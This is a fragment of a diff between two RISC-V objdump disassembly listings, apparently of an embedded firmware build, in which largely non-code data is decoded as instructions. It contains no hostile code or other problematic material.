+    1c30:	d808                	sw	a0,48(s0)
+    1c32:	0002                	c.slli64	zero
+    1c34:	0a00                	addi	s0,sp,272
+    1c36:	a4ba                	fsd	fa4,72(sp)
+    1c38:	0000                	unimp
+    1c3a:	1d09                	addi	s10,s10,-30
+    1c3c:	cc0a                	sw	sp,24(sp)
+    1c3e:	0001                	nop
+    1c40:	0000                	unimp
+    1c42:	fe0a                	fsw	ft2,60(sp)
+    1c44:	00a4                	addi	s1,sp,72
+    1c46:	0900                	addi	s0,sp,144
+    1c48:	0a1e                	slli	s4,s4,0x7
+    1c4a:	01b4                	addi	a3,sp,200
+    1c4c:	0000                	unimp
+    1c4e:	0a02                	c.slli64	s4
+    1c50:	0000a4e7          	0xa4e7
+    1c54:	1f09                	addi	t5,t5,-30
+    1c56:	fc0a                	fsw	ft2,56(sp)
+    1c58:	0001                	nop
+    1c5a:	0400                	addi	s0,sp,512
+    1c5c:	770a                	flw	fa4,160(sp)
+    1c5e:	00a4                	addi	s1,sp,72
+    1c60:	0900                	addi	s0,sp,144
+    1c62:	0b20                	addi	s0,sp,408
+    1c64:	0208                	addi	a0,sp,256
+    1c66:	0000                	unimp
+    1c68:	0a08                	addi	a0,sp,272
+    1c6a:	0000a413          	slti	s0,ra,0
+    1c6e:	2109                	jal	2070 <__stack_size+0x1870>
+    1c70:	d80a                	sw	sp,48(sp)
+    1c72:	0001                	nop
+    1c74:	0a00                	addi	s0,sp,272
+    1c76:	800a                	c.mv	zero,sp
+    1c78:	00a4                	addi	s1,sp,72
+    1c7a:	0900                	addi	s0,sp,144
+    1c7c:	0a22                	slli	s4,s4,0x8
+    1c7e:	01e4                	addi	s1,sp,204
+    1c80:	0000                	unimp
+    1c82:	0a0c                	addi	a1,sp,272
+    1c84:	a438                	fsd	fa4,72(s0)
     1c86:	0000                	unimp
-    1c88:	015a0113          	addi	sp,s4,21
-    1c8c:	1331                	addi	t1,t1,-20
-    1c8e:	5b01                	li	s6,-32
-    1c90:	0305                	addi	t1,t1,1
-    1c92:	d9c8                	sw	a0,52(a1)
-    1c94:	8000                	0x8000
-    1c96:	1200                	addi	s0,sp,288
-    1c98:	1c28                	addi	a0,sp,568
-    1c9a:	2040                	fld	fs0,128(s0)
-    1c9c:	1d14                	addi	a3,sp,688
-    1c9e:	0000                	unimp
-    1ca0:	1c92                	slli	s9,s9,0x24
-    1ca2:	0000                	unimp
-    1ca4:	015a0113          	addi	sp,s4,21
-    1ca8:	1331                	addi	t1,t1,-20
-    1caa:	5b01                	li	s6,-32
-    1cac:	0305                	addi	t1,t1,1
-    1cae:	54f0                	lw	a2,108(s1)
-    1cb0:	2040                	fld	fs0,128(s0)
-    1cb2:	015c0113          	addi	sp,s8,21
-    1cb6:	0036                	c.slli	zero,0xd
-    1cb8:	5012                	0x5012
-    1cba:	401c                	lw	a5,0(s0)
-    1cbc:	da20                	sw	s0,112(a2)
-    1cbe:	001d                	c.nop	7
-    1cc0:	b100                	fsd	fs0,32(a0)
-    1cc2:	001c                	0x1c
-    1cc4:	1300                	addi	s0,sp,416
-    1cc6:	5a01                	li	s4,-32
-    1cc8:	3001                	jal	14c8 <__stack_size+0xcc8>
-    1cca:	035b0113          	addi	sp,s6,53
-    1cce:	a891                	j	1d22 <__stack_size+0x1522>
-    1cd0:	137f                	0x137f
-    1cd2:	5c01                	li	s8,-32
-    1cd4:	3801                	jal	14e4 <__stack_size+0xce4>
-    1cd6:	1b00                	addi	s0,sp,432
-    1cd8:	1c7a                	slli	s8,s8,0x3e
-    1cda:	2040                	fld	fs0,128(s0)
-    1cdc:	1d8a                	slli	s11,s11,0x22
-    1cde:	0000                	unimp
-    1ce0:	035b0113          	addi	sp,s6,53
-    1ce4:	a891                	j	1d38 <__stack_size+0x1538>
-    1ce6:	137f                	0x137f
-    1ce8:	5c01                	li	s8,-32
-    1cea:	7802                	flw	fa6,32(sp)
-    1cec:	0000                	unimp
-    1cee:	1200                	addi	s0,sp,288
-    1cf0:	1a68                	addi	a0,sp,316
-    1cf2:	2040                	fld	fs0,128(s0)
-    1cf4:	1d08                	addi	a0,sp,688
-    1cf6:	0000                	unimp
-    1cf8:	1ce0                	addi	s0,sp,636
-    1cfa:	0000                	unimp
-    1cfc:	055a0113          	addi	sp,s4,85
-    1d00:	40551c03          	lh	s8,1029(a0)
-    1d04:	0020                	addi	s0,sp,8
-    1d06:	401a761b          	0x401a761b
-    1d0a:	da20                	sw	s0,112(a2)
-    1d0c:	001d                	c.nop	7
-    1d0e:	1300                	addi	s0,sp,416
-    1d10:	5a01                	li	s4,-32
-    1d12:	3001                	jal	1512 <__stack_size+0xd12>
-    1d14:	035b0113          	addi	sp,s6,53
-    1d18:	a891                	j	1d6c <__stack_size+0x156c>
-    1d1a:	137f                	0x137f
-    1d1c:	5c01                	li	s8,-32
-    1d1e:	3101                	jal	191e <__stack_size+0x111e>
-    1d20:	0000                	unimp
-    1d22:	0f2d                	addi	t5,t5,11
-    1d24:	0f0000a3          	sb	a6,225(zero) # e1 <__stack_size-0x71f>
-    1d28:	040000a3          	sb	zero,65(zero) # 41 <__stack_size-0x7bf>
-    1d2c:	0cd5                	addi	s9,s9,21
-    1d2e:	7d2d                	lui	s10,0xfffeb
-    1d30:	0022                	c.slli	zero,0x8
-    1d32:	7d00                	flw	fs0,56(a0)
-    1d34:	0022                	c.slli	zero,0x8
-    1d36:	0500                	addi	s0,sp,640
-    1d38:	05c8                	addi	a0,sp,708
-    1d3a:	202d                	jal	1d64 <__stack_size+0x1564>
-    1d3c:	00a2                	slli	ra,ra,0x8
-    1d3e:	2000                	fld	fs0,0(s0)
-    1d40:	00a2                	slli	ra,ra,0x8
-    1d42:	0600                	addi	s0,sp,768
-    1d44:	19f5                	addi	s3,s3,-3
-    1d46:	8b2d                	andi	a4,a4,11
-    1d48:	0070                	addi	a2,sp,12
-    1d4a:	8b00                	0x8b00
-    1d4c:	0070                	addi	a2,sp,12
-    1d4e:	0700                	addi	s0,sp,896
-    1d50:	0929                	addi	s2,s2,10
-    1d52:	712d                	addi	sp,sp,-288
-    1d54:	0082                	c.slli64	ra
-    1d56:	7100                	flw	fs0,32(a0)
-    1d58:	0082                	c.slli64	ra
-    1d5a:	0700                	addi	s0,sp,896
-    1d5c:	0826                	slli	a6,a6,0x9
-    1d5e:	6c2d                	lui	s8,0xb
-    1d60:	009d                	addi	ra,ra,7
-    1d62:	6c00                	flw	fs0,24(s0)
-    1d64:	009d                	addi	ra,ra,7
-    1d66:	0700                	addi	s0,sp,896
-    1d68:	0624                	addi	s1,sp,776
-    1d6a:	502d                	c.li	zero,-21
-    1d6c:	50000047          	fmsub.s	ft0,ft0,ft0,fa0,rne
-    1d70:	08000047          	fmsub.s	ft0,ft0,ft0,ft1,rne
-    1d74:	0fad                	addi	t6,t6,11
-    1d76:	bb2d                	j	1ab0 <__stack_size+0x12b0>
-    1d78:	0032                	c.slli	zero,0xc
-    1d7a:	bb00                	fsd	fs0,48(a4)
-    1d7c:	0032                	c.slli	zero,0xc
-    1d7e:	0700                	addi	s0,sp,896
-    1d80:	082c                	addi	a1,sp,24
-    1d82:	4d2e                	lw	s10,200(sp)
-    1d84:	0099                	addi	ra,ra,6
-    1d86:	4d00                	lw	s0,24(a0)
-    1d88:	0099                	addi	ra,ra,6
-    1d8a:	0800                	addi	s0,sp,16
-    1d8c:	0111                	addi	sp,sp,4
-    1d8e:	2f14                	fld	fa3,24(a4)
-    1d90:	6261                	lui	tp,0x18
-    1d92:	62610073          	0x62610073
-    1d96:	46080073          	0x46080073
-    1d9a:	3005                	jal	15ba <__stack_size+0xdba>
-    1d9c:	00000543          	fmadd.s	fa0,ft0,ft0,ft0,rne
-    1da0:	00000543          	fmadd.s	fa0,ft0,ft0,ft0,rne
-    1da4:	162d                	addi	a2,a2,-21
-    1da6:	0066                	c.slli	zero,0x19
-    1da8:	1600                	addi	s0,sp,800
-    1daa:	0066                	c.slli	zero,0x19
-    1dac:	0700                	addi	s0,sp,896
-    1dae:	0832                	slli	a6,a6,0xc
-    1db0:	e62d                	bnez	a2,1e1a <__stack_size+0x161a>
-    1db2:	e6000013          	li	zero,-416
-    1db6:	07000013          	li	zero,112
-    1dba:	091f 3a2d 0001      	0x13a2d091f
-    1dc0:	3a00                	fld	fs0,48(a2)
-    1dc2:	0001                	nop
-    1dc4:	0700                	addi	s0,sp,896
-    1dc6:	542d0977          	0x542d0977
-    1dca:	0012                	c.slli	zero,0x4
-    1dcc:	5400                	lw	s0,40(s0)
-    1dce:	0012                	c.slli	zero,0x4
-    1dd0:	0700                	addi	s0,sp,896
-    1dd2:	082e                	slli	a6,a6,0xb
-    1dd4:	7a30                	flw	fa2,112(a2)
-    1dd6:	0084                	addi	s1,sp,64
-    1dd8:	7a00                	flw	fs0,48(a2)
-    1dda:	0084                	addi	s1,sp,64
-    1ddc:	2d00                	fld	fs0,24(a0)
-    1dde:	227c                	fld	fa5,192(a2)
-    1de0:	0000                	unimp
-    1de2:	227c                	fld	fa5,192(a2)
-    1de4:	0000                	unimp
-    1de6:	f405                	bnez	s0,1d0e <__stack_size+0x150e>
-    1de8:	2d05                	jal	2418 <__stack_size+0x1c18>
-    1dea:	7ba9                	lui	s7,0xfffea
-    1dec:	0000                	unimp
-    1dee:	7ba9                	lui	s7,0xfffea
-    1df0:	0000                	unimp
-    1df2:	8f08                	0x8f08
-    1df4:	3106                	fld	ft2,96(sp)
-    1df6:	15d8                	addi	a4,sp,740
-    1df8:	0000                	unimp
-    1dfa:	15ce                	slli	a1,a1,0x33
-    1dfc:	0000                	unimp
-    1dfe:	0009                	c.nop	2
-    1e00:	e22d                	bnez	a2,1e62 <__stack_size+0x1662>
-    1e02:	00a2                	slli	ra,ra,0x8
-    1e04:	e200                	fsw	fs0,0(a2)
-    1e06:	00a2                	slli	ra,ra,0x8
-    1e08:	0600                	addi	s0,sp,768
-    1e0a:	19bd                	addi	s3,s3,-17
-    1e0c:	af00                	fsd	fs0,24(a4)
-    1e0e:	0005                	c.nop	1
-    1e10:	0400                	addi	s0,sp,512
-    1e12:	0200                	addi	s0,sp,256
-    1e14:	04000003          	lb	zero,64(zero) # 40 <__stack_size-0x7c0>
-    1e18:	b001                	j	1618 <__stack_size+0xe18>
-    1e1a:	004d                	c.nop	19
-    1e1c:	0c00                	addi	s0,sp,528
-    1e1e:	a274                	fsd	fa3,192(a2)
+    1c88:	2309                	jal	218a <__stack_size+0x198a>
+    1c8a:	cc0a                	sw	sp,24(sp)
+    1c8c:	0001                	nop
+    1c8e:	0e00                	addi	s0,sp,784
+    1c90:	0b0a                	slli	s6,s6,0x2
+    1c92:	00a4                	addi	s1,sp,72
+    1c94:	0900                	addi	s0,sp,144
+    1c96:	0a24                	addi	s1,sp,280
+    1c98:	01c0                	addi	s0,sp,196
+    1c9a:	0000                	unimp
+    1c9c:	0a10                	addi	a2,sp,272
+    1c9e:	0000a50f          	0xa50f
+    1ca2:	2a09                	jal	1db4 <__stack_size+0x15b4>
+    1ca4:	00017413          	andi	s0,sp,0
+    1ca8:	1800                	addi	s0,sp,48
+    1caa:	e30a                	fsw	ft2,132(sp)
+    1cac:	090000a3          	sb	a6,129(zero) # 81 <__stack_size-0x77f>
+    1cb0:	0174132b          	0x174132b
+    1cb4:	0000                	unimp
+    1cb6:	0a28                	addi	a0,sp,280
+    1cb8:	a3be                	fsd	fa5,448(sp)
+    1cba:	0000                	unimp
+    1cbc:	2c09                	jal	1ece <__stack_size+0x16ce>
+    1cbe:	00017413          	andi	s0,sp,0
+    1cc2:	3800                	fld	fs0,48(s0)
+    1cc4:	c60a                	sw	sp,12(sp)
+    1cc6:	090000a3          	sb	a6,129(zero) # 81 <__stack_size-0x77f>
+    1cca:	112d                	addi	sp,sp,-21
+    1ccc:	01a8                	addi	a0,sp,200
+    1cce:	0000                	unimp
+    1cd0:	0a48                	addi	a0,sp,276
+    1cd2:	a3d1                	j	2296 <__stack_size+0x1a96>
+    1cd4:	0000                	unimp
+    1cd6:	2e09                	jal	1fe8 <__stack_size+0x17e8>
+    1cd8:	9c0c                	0x9c0c
+    1cda:	0001                	nop
+    1cdc:	4c00                	lw	s0,24(s0)
+    1cde:	2e0a                	fld	ft8,128(sp)
+    1ce0:	00a4                	addi	s1,sp,72
+    1ce2:	0900                	addi	s0,sp,144
+    1ce4:	0930                	addi	a2,sp,152
+    1ce6:	02d8                	addi	a4,sp,324
+    1ce8:	0000                	unimp
+    1cea:	0050                	addi	a2,sp,4
+    1cec:	0000790b          	0x790b
+    1cf0:	e800                	fsw	fs0,16(s0)
+    1cf2:	0002                	c.slli64	zero
+    1cf4:	0c00                	addi	s0,sp,528
+    1cf6:	0035                	c.nop	13
+    1cf8:	0000                	unimp
+    1cfa:	0001                	nop
+    1cfc:	f20d                	bnez	a2,1c1e <__stack_size+0x141e>
+    1cfe:	010000a3          	sb	a6,1(zero) # 1 <__stack_size-0x7ff>
+    1d02:	085f 0029 0000      	0x29085f
+    1d08:	2338                	fld	fa4,64(a4)
+    1d0a:	2040                	fld	fs0,128(s0)
+    1d0c:	0052                	c.slli	zero,0x14
+    1d0e:	0000                	unimp
+    1d10:	9c01                	0x9c01
+    1d12:	036e                	slli	t1,t1,0x1b
+    1d14:	0000                	unimp
+    1d16:	720e                	flw	ft4,224(sp)
+    1d18:	00a4                	addi	s1,sp,72
+    1d1a:	0100                	addi	s0,sp,128
+    1d1c:	135f 003c 0000      	0x3c135f
+    1d22:	07ae                	slli	a5,a5,0xb
+    1d24:	0000                	unimp
+    1d26:	7274700f          	0x7274700f
+    1d2a:	0100                	addi	s0,sp,128
+    1d2c:	255f 0144 0000      	0x144255f
+    1d32:	000007cf          	fnmadd.s	fa5,ft0,ft0,ft0,rne
+    1d36:	6e656c0f          	0x6e656c0f
+    1d3a:	0100                	addi	s0,sp,128
+    1d3c:	315f 0029 0000      	0x29315f
+    1d42:	0806                	slli	a6,a6,0x1
+    1d44:	0000                	unimp
+    1d46:	e010                	fsw	fa2,0(s0)
+    1d48:	0001                	nop
+    1d4a:	5c00                	lw	s0,56(s0)
+    1d4c:	11000003          	lb	zero,272(zero) # 110 <__stack_size-0x6f0>
+    1d50:	a4aa                	fsd	fa0,72(sp)
+    1d52:	0000                	unimp
+    1d54:	6401                	0x6401
+    1d56:	00036e13          	ori	t3,t1,0
+    1d5a:	1200                	addi	s0,sp,288
+    1d5c:	01e0                	addi	s0,sp,204
+    1d5e:	0000                	unimp
+    1d60:	01006913          	ori	s2,zero,16
+    1d64:	0f66                	slli	t5,t5,0x19
+    1d66:	0029                	c.nop	10
+    1d68:	0000                	unimp
+    1d6a:	0000084b          	fnmsub.s	fa6,ft0,ft0,ft0,rne
+    1d6e:	0000                	unimp
+    1d70:	4614                	lw	a3,8(a2)
+    1d72:	9a204023          	0x9a204023
+    1d76:	0005                	c.nop	1
+    1d78:	1500                	addi	s0,sp,672
+    1d7a:	5a01                	li	s4,-32
+    1d7c:	5a01f303          	0x5a01f303
+    1d80:	0000                	unimp
+    1d82:	0406                	slli	s0,s0,0x1
+    1d84:	00000157          	0x157
+    1d88:	b40d                	j	17aa <__stack_size+0xfaa>
+    1d8a:	00a4                	addi	s1,sp,72
+    1d8c:	0100                	addi	s0,sp,128
+    1d8e:	003c054b          	fnmsub.s	fa0,fs8,ft3,ft0,rne
+    1d92:	0000                	unimp
+    1d94:	22fe                	fld	ft5,472(sp)
+    1d96:	2040                	fld	fs0,128(s0)
+    1d98:	003a                	c.slli	zero,0xe
+    1d9a:	0000                	unimp
+    1d9c:	9c01                	0x9c01
+    1d9e:	03fa                	slli	t2,t2,0x1e
+    1da0:	0000                	unimp
+    1da2:	720e                	flw	ft4,224(sp)
+    1da4:	00a4                	addi	s1,sp,72
+    1da6:	0100                	addi	s0,sp,128
+    1da8:	003c0f4b          	fnmsub.s	ft10,fs8,ft3,ft0,rne
+    1dac:	0000                	unimp
+    1dae:	0895                	addi	a7,a7,5
+    1db0:	0000                	unimp
+    1db2:	7274700f          	0x7274700f
+    1db6:	0100                	addi	s0,sp,128
+    1db8:	012c1b4b          	fnmsub.s	fs6,fs8,fs2,ft0,rtz
+    1dbc:	0000                	unimp
+    1dbe:	08b6                	slli	a7,a7,0xd
+    1dc0:	0000                	unimp
+    1dc2:	6e656c0f          	0x6e656c0f
+    1dc6:	0100                	addi	s0,sp,128
+    1dc8:	0029274b          	fnmsub.s	fa4,fs2,ft2,ft0,rdn
+    1dcc:	0000                	unimp
+    1dce:	0911                	addi	s2,s2,4
+    1dd0:	0000                	unimp
+    1dd2:	c810                	sw	a2,16(s0)
+    1dd4:	0001                	nop
+    1dd6:	e800                	fsw	fs0,16(s0)
+    1dd8:	16000003          	lb	zero,352(zero) # 160 <__stack_size-0x6a0>
+    1ddc:	584e                	lw	a6,240(sp)
+    1dde:	0000                	unimp
+    1de0:	5001                	c.li	zero,-32
+    1de2:	0001f00b          	0x1f00b
+    1de6:	4800                	lw	s0,16(s0)
+    1de8:	0009                	c.nop	2
+    1dea:	1600                	addi	s0,sp,800
+    1dec:	0000a3b7          	lui	t2,0xa
+    1df0:	5101                	li	sp,-32
+    1df2:	00003c07          	fld	fs8,0(zero) # 0 <__stack_size-0x800>
+    1df6:	6600                	flw	fs0,8(a2)
+    1df8:	0009                	c.nop	2
+    1dfa:	0000                	unimp
+    1dfc:	0c14                	addi	a3,sp,528
+    1dfe:	9a204023          	0x9a204023
+    1e02:	0005                	c.nop	1
+    1e04:	1500                	addi	s0,sp,672
+    1e06:	5a01                	li	s4,-32
+    1e08:	5a01f303          	0x5a01f303
+    1e0c:	0000                	unimp
+    1e0e:	e10d                	bnez	a0,1e30 <__stack_size+0x1630>
+    1e10:	00a4                	addi	s1,sp,72
+    1e12:	0100                	addi	s0,sp,128
+    1e14:	0538                	addi	a4,sp,648
+    1e16:	003c                	addi	a5,sp,8
+    1e18:	0000                	unimp
+    1e1a:	22d0                	fld	fa2,128(a3)
+    1e1c:	2040                	fld	fs0,128(s0)
+    1e1e:	002e                	c.slli	zero,0xb
     1e20:	0000                	unimp
-    1e22:	001a                	c.slli	zero,0x6
-    1e24:	0000                	unimp
-    1e26:	0328                	addi	a0,sp,392
-    1e28:	0000                	unimp
-    1e2a:	0000                	unimp
-    1e2c:	0000                	unimp
-    1e2e:	2816                	fld	fa6,320(sp)
-    1e30:	0000                	unimp
-    1e32:	2941                	jal	22c2 <__stack_size+0x1ac2>
-    1e34:	0000                	unimp
-    1e36:	ba02                	fsd	ft0,304(sp)
-    1e38:	007d                	c.nop	31
-    1e3a:	0200                	addi	s0,sp,256
-    1e3c:	17d1                	addi	a5,a5,-12
-    1e3e:	0035                	c.nop	13
-    1e40:	0000                	unimp
-    1e42:	64070403          	lb	s0,1600(a4)
-    1e46:	0071                	c.nop	28
-    1e48:	0400                	addi	s0,sp,512
-    1e4a:	0504                	addi	s1,sp,640
-    1e4c:	6e69                	lui	t3,0x1a
-    1e4e:	0074                	addi	a3,sp,12
-    1e50:	e4050803          	lb	a6,-448(a0)
-    1e54:	0300008f          	0x300008f
-    1e58:	0410                	addi	a2,sp,512
-    1e5a:	9196                	add	gp,gp,t0
-    1e5c:	0000                	unimp
-    1e5e:	ea060103          	lb	sp,-352(a2)
-    1e62:	007e                	c.slli	zero,0x1f
-    1e64:	0200                	addi	s0,sp,256
-    1e66:	04f4                	addi	a3,sp,588
-    1e68:	0000                	unimp
-    1e6a:	64182b03          	lw	s6,1601(a6) # fffe0641 <_heap_end+0x7ffd1e41>
-    1e6e:	0000                	unimp
-    1e70:	0300                	addi	s0,sp,384
-    1e72:	0801                	addi	a6,a6,0
-    1e74:	1439                	addi	s0,s0,-18
+    1e22:	9c01                	0x9c01
+    1e24:	045f 0000 700e      	0x700e0000045f
+    1e2a:	0020                	addi	s0,sp,8
+    1e2c:	0100                	addi	s0,sp,128
+    1e2e:	1738                	addi	a4,sp,936
+    1e30:	013e                	slli	sp,sp,0xf
+    1e32:	0000                	unimp
+    1e34:	0984                	addi	s1,sp,208
+    1e36:	0000                	unimp
+    1e38:	6c0e                	flw	fs8,192(sp)
+    1e3a:	00a4                	addi	s1,sp,72
+    1e3c:	0100                	addi	s0,sp,128
+    1e3e:	2138                	fld	fa4,64(a0)
+    1e40:	003c                	addi	a5,sp,8
+    1e42:	0000                	unimp
+    1e44:	09a5                	addi	s3,s3,9
+    1e46:	0000                	unimp
+    1e48:	ea0e                	fsw	ft3,20(sp)
+    1e4a:	00a4                	addi	s1,sp,72
+    1e4c:	0100                	addi	s0,sp,128
+    1e4e:	2c38                	fld	fa4,88(s0)
+    1e50:	003c                	addi	a5,sp,8
+    1e52:	0000                	unimp
+    1e54:	09c6                	slli	s3,s3,0x11
+    1e56:	0000                	unimp
+    1e58:	de14                	sw	a3,56(a2)
+    1e5a:	4022                	0x4022
+    1e5c:	a620                	fsd	fs0,72(a2)
+    1e5e:	0005                	c.nop	1
+    1e60:	1500                	addi	s0,sp,672
+    1e62:	5a01                	li	s4,-32
+    1e64:	5a01f303          	0x5a01f303
+    1e68:	0115                	addi	sp,sp,5
+    1e6a:	4803055b          	0x4803055b
+    1e6e:	0020403f a4f70d00 	0xa4f70d000020403f
     1e76:	0000                	unimp
-    1e78:	54050203          	lb	tp,1344(a0)
-    1e7c:	03000037          	lui	zero,0x3000
-    1e80:	0702                	c.slli64	a4
-    1e82:	9b7a                	add	s6,s6,t5
+    1e78:	3101                	jal	1a78 <__stack_size+0x1278>
+    1e7a:	3c05                	jal	18aa <__stack_size+0x10aa>
+    1e7c:	0000                	unimp
+    1e7e:	cc00                	sw	s0,24(s0)
+    1e80:	4022                	0x4022
+    1e82:	0420                	addi	s0,sp,520
     1e84:	0000                	unimp
-    1e86:	5c050403          	lb	s0,1472(a0)
-    1e8a:	0050                	addi	a2,sp,4
-    1e8c:	0200                	addi	s0,sp,256
-    1e8e:	00002727          	fsw	ft0,14(zero) # e <__stack_size-0x7f2>
-    1e92:	8c194f03          	lbu	t5,-1855(s2) # fffe08c1 <_heap_end+0x7ffd20c1>
+    1e86:	0100                	addi	s0,sp,128
+    1e88:	a69c                	fsd	fa5,8(a3)
+    1e8a:	0004                	0x4
+    1e8c:	0e00                	addi	s0,sp,784
+    1e8e:	a472                	fsd	ft8,8(sp)
+    1e90:	0000                	unimp
+    1e92:	3101                	jal	1a92 <__stack_size+0x1292>
+    1e94:	3c10                	fld	fa2,56(s0)
     1e96:	0000                	unimp
-    1e98:	0300                	addi	s0,sp,384
-    1e9a:	0704                	addi	s1,sp,896
-    1e9c:	6514                	flw	fa3,8(a0)
-    1e9e:	0000                	unimp
-    1ea0:	a1070803          	lb	a6,-1520(a4)
-    1ea4:	0006                	c.slli	zero,0x1
-    1ea6:	0200                	addi	s0,sp,256
-    1ea8:	9746                	add	a4,a4,a7
-    1eaa:	0000                	unimp
-    1eac:	431ec803          	lbu	a6,1073(t4)
-    1eb0:	0000                	unimp
-    1eb2:	0200                	addi	s0,sp,256
-    1eb4:	a2b4                	fsd	fa3,64(a3)
-    1eb6:	0000                	unimp
-    1eb8:	1e04                	addi	s1,sp,816
-    1eba:	790e                	flw	fs2,224(sp)
-    1ebc:	0000                	unimp
-    1ebe:	0200                	addi	s0,sp,256
-    1ec0:	0000a24f          	fnmadd.s	ft4,ft1,ft0,ft0,rdn
-    1ec4:	2204                	fld	fs1,0(a2)
-    1ec6:	790e                	flw	fs2,224(sp)
-    1ec8:	0000                	unimp
-    1eca:	0200                	addi	s0,sp,256
-    1ecc:	a2f8                	fsd	fa4,192(a3)
-    1ece:	0000                	unimp
-    1ed0:	2e04                	fld	fs1,24(a2)
-    1ed2:	790e                	flw	fs2,224(sp)
-    1ed4:	0000                	unimp
-    1ed6:	0200                	addi	s0,sp,256
-    1ed8:	a230                	fsd	fa2,64(a2)
-    1eda:	0000                	unimp
-    1edc:	3804                	fld	fs1,48(s0)
-    1ede:	00006b0f          	0x6b0f
-    1ee2:	0200                	addi	s0,sp,256
-    1ee4:	a31c                	fsd	fa5,0(a4)
-    1ee6:	0000                	unimp
-    1ee8:	3c04                	fld	fs1,56(s0)
-    1eea:	7218                	flw	fa4,32(a2)
-    1eec:	0000                	unimp
-    1eee:	0200                	addi	s0,sp,256
-    1ef0:	a208                	fsd	fa0,0(a2)
-    1ef2:	0000                	unimp
-    1ef4:	3f04                	fld	fs1,56(a4)
-    1ef6:	7218                	flw	fa4,32(a2)
-    1ef8:	0000                	unimp
-    1efa:	0200                	addi	s0,sp,256
-    1efc:	a2c5                	j	20dc <__stack_size+0x18dc>
-    1efe:	0000                	unimp
-    1f00:	4b04                	lw	s1,16(a4)
-    1f02:	7218                	flw	fa4,32(a2)
-    1f04:	0000                	unimp
-    1f06:	0200                	addi	s0,sp,256
-    1f08:	a290                	fsd	fa2,0(a3)
-    1f0a:	0000                	unimp
-    1f0c:	5a04                	lw	s1,48(a2)
-    1f0e:	8014                	0x8014
-    1f10:	0000                	unimp
-    1f12:	0200                	addi	s0,sp,256
-    1f14:	0000a2f7          	0xa2f7
-    1f18:	6604                	flw	fs1,8(a2)
-    1f1a:	be10                	fsd	fa2,56(a2)
-    1f1c:	0000                	unimp
-    1f1e:	0200                	addi	s0,sp,256
-    1f20:	000092ef          	jal	t0,af20 <__stack_size+0xa720>
-    1f24:	9304                	0x9304
-    1f26:	00003c17          	auipc	s8,0x3
-    1f2a:	0500                	addi	s0,sp,640
-    1f2c:	0204                	addi	s1,sp,256
-    1f2e:	a332                	fsd	fa2,384(sp)
-    1f30:	0000                	unimp
-    1f32:	d104                	sw	s1,32(a0)
-    1f34:	7218                	flw	fa4,32(a2)
-    1f36:	0000                	unimp
-    1f38:	0600                	addi	s0,sp,768
-    1f3a:	3204                	fld	fs1,32(a2)
-    1f3c:	0001                	nop
-    1f3e:	0300                	addi	s0,sp,384
-    1f40:	0801                	addi	a6,a6,0
-    1f42:	7ef1                	lui	t4,0xffffc
-    1f44:	0000                	unimp
-    1f46:	00013207          	fld	ft4,0(sp)
-    1f4a:	0600                	addi	s0,sp,768
-    1f4c:	3904                	fld	fs1,48(a0)
-    1f4e:	0001                	nop
-    1f50:	0600                	addi	s0,sp,768
-    1f52:	4a04                	lw	s1,16(a2)
-    1f54:	0001                	nop
-    1f56:	0800                	addi	s0,sp,16
-    1f58:	f602                	fsw	ft0,44(sp)
-    1f5a:	0004                	0x4
-    1f5c:	0500                	addi	s0,sp,640
-    1f5e:	1318                	addi	a4,sp,416
-    1f60:	0058                	addi	a4,sp,4
+    1e98:	e700                	fsw	fs0,8(a4)
+    1e9a:	0009                	c.nop	2
+    1e9c:	1700                	addi	s0,sp,928
+    1e9e:	7470                	flw	fa2,108(s0)
+    1ea0:	0072                	c.slli	zero,0x1c
+    1ea2:	3101                	jal	1aa2 <__stack_size+0x12a2>
+    1ea4:	c01c                	sw	a5,0(s0)
+    1ea6:	0001                	nop
+    1ea8:	0100                	addi	s0,sp,128
+    1eaa:	6964175b          	0x6964175b
+    1eae:	0072                	c.slli	zero,0x1c
+    1eb0:	3101                	jal	1ab0 <__stack_size+0x12b0>
+    1eb2:	3c25                	jal	18ea <__stack_size+0x10ea>
+    1eb4:	0000                	unimp
+    1eb6:	0100                	addi	s0,sp,128
+    1eb8:	005c                	addi	a5,sp,4
+    1eba:	1a0d                	addi	s4,s4,-29
+    1ebc:	00a4                	addi	s1,sp,72
+    1ebe:	0100                	addi	s0,sp,128
+    1ec0:	0529                	addi	a0,a0,10
+    1ec2:	003c                	addi	a5,sp,8
+    1ec4:	0000                	unimp
+    1ec6:	22c6                	fld	ft5,80(sp)
+    1ec8:	2040                	fld	fs0,128(s0)
+    1eca:	0006                	c.slli	zero,0x1
+    1ecc:	0000                	unimp
+    1ece:	9c01                	0x9c01
+    1ed0:	04d1                	addi	s1,s1,20
+    1ed2:	0000                	unimp
+    1ed4:	720e                	flw	ft4,224(sp)
+    1ed6:	00a4                	addi	s1,sp,72
+    1ed8:	0100                	addi	s0,sp,128
+    1eda:	1129                	addi	sp,sp,-22
+    1edc:	003c                	addi	a5,sp,8
+    1ede:	0000                	unimp
+    1ee0:	0a08                	addi	a0,sp,272
+    1ee2:	0000                	unimp
+    1ee4:	0d00                	addi	s0,sp,656
+    1ee6:	a492                	fsd	ft4,72(sp)
+    1ee8:	0000                	unimp
+    1eea:	1a01                	addi	s4,s4,-32
+    1eec:	1e08                	addi	a0,sp,816
+    1eee:	0001                	nop
+    1ef0:	a400                	fsd	fs0,8(s0)
+    1ef2:	4022                	0x4022
+    1ef4:	2220                	fld	fs0,64(a2)
+    1ef6:	0000                	unimp
+    1ef8:	0100                	addi	s0,sp,128
+    1efa:	269c                	fld	fa5,8(a3)
+    1efc:	0005                	c.nop	1
+    1efe:	0e00                	addi	s0,sp,784
+    1f00:	0000a4af          	amoadd.w	s1,zero,(ra)
+    1f04:	1a01                	addi	s4,s4,-32
+    1f06:	3c12                	fld	fs8,288(sp)
+    1f08:	0000                	unimp
+    1f0a:	2900                	fld	fs0,16(a0)
+    1f0c:	000a                	c.slli	zero,0x2
+    1f0e:	1800                	addi	s0,sp,48
+    1f10:	a3fe                	fsd	ft11,448(sp)
+    1f12:	0000                	unimp
+    1f14:	1d01                	addi	s10,s10,-32
+    1f16:	260e                	fld	fa2,192(sp)
+    1f18:	0005                	c.nop	1
+    1f1a:	1800                	addi	s0,sp,48
+    1f1c:	a3f9                	j	24ea <__stack_size+0x1cea>
+    1f1e:	0000                	unimp
+    1f20:	1e01                	addi	t3,t3,-32
+    1f22:	260e                	fld	fa2,192(sp)
+    1f24:	0005                	c.nop	1
+    1f26:	1900                	addi	s0,sp,176
+    1f28:	a4a0                	fsd	fs0,72(s1)
+    1f2a:	0000                	unimp
+    1f2c:	1f01                	addi	t5,t5,-32
